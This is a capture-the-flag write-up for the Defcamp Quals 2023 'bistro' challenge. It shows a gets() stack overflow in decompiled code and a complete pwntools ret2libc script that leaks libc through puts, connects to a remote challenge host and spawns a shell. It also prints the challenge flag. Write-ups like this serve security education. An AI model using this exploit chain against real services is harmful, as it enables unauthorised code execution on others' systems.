bistro [Defcamp Quals 2023]
Challenge Description
Maybe you can get a free menu!!
Flag format: CTF{sha256}
Intuition
Checksec the binary to see what we have.
$ checksec restaurant
LIBC_FILE=/lib/x86_64-linux-gnu/libc.so.6
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 70 Symbols No 0 2 restaurant
Partial RELRO and no PIE. Great! Let’s decompile:
undefined8 custom(void)
{
char local_78 [112];
printf("Choose what you want to eat:");
gets(local_78);
gets(local_78);
return 0;
}
undefined8 main(EVP_PKEY_CTX *param_1)
{
int local_c;
init(param_1);
puts("==============================");
puts(" MENU ");
puts("==============================");
puts("1. Chessburger...............2$");
puts("2. Hamburger.................3$");
puts("3. Custom dinner............10$");
printf(">> ");
__isoc99_scanf(&DAT_0040098c,&local_c);
if (local_c == 2) {
puts("2. Hamburger.................3$");
}
else {
if (local_c == 3) {
custom();
}
else if (local_c == 1) {
puts("1. Chessburger...............2$");
return 0;
}
puts("Wrong choice");
}
return 0;
}
We see an obvious buffer overflow in custom
. We simply need to ROP into leaking the libc addresses with puts.
Solution
#!/usr/bin/env python3
from pwn import *
#target = process("./restaurant")
target = remote("35.198.129.115", 31756)
# Get addresses with ROPGadget
pop_rdi = p64(0x00000000004008a3)
ret = p64(0x000000000040059e) # for aligning stack to 16-bytes again for system call
# Addresses from the binary
main_addr = p64(0x0040072a)
puts_plt = p64(0x004005b0)
puts_got = p64(0x00601018)
# Leak puts address
target.sendline(b"3")
payload = b"a" * 0x78 + pop_rdi + puts_got + puts_plt + main_addr # go back to main for more inputs
target.sendline(payload)
print(target.recvuntil(b">>"))
puts_leak = u64(target.recvline().strip().split(b':')[1].ljust(8, b'\x00'))
print(puts_leak)
print(hex(puts_leak))
# Find the libc version at some point here manually
system_addr = p64(puts_leak - 0x31550) # offset found in libc database
print(system_addr)
# Get offset to /bin/sh from libc database
sh_addr = p64(puts_leak + 0x13337a)
payload = b"a" * 0x78 + ret + pop_rdi + sh_addr + system_addr
# Pop a shell, baby
target.sendline(payload)
target.interactive()
Flag
CTF{33be4238b68642a4c3f97d10cfa034764e0b6d9707d6970f581200e2b7bcbfc0}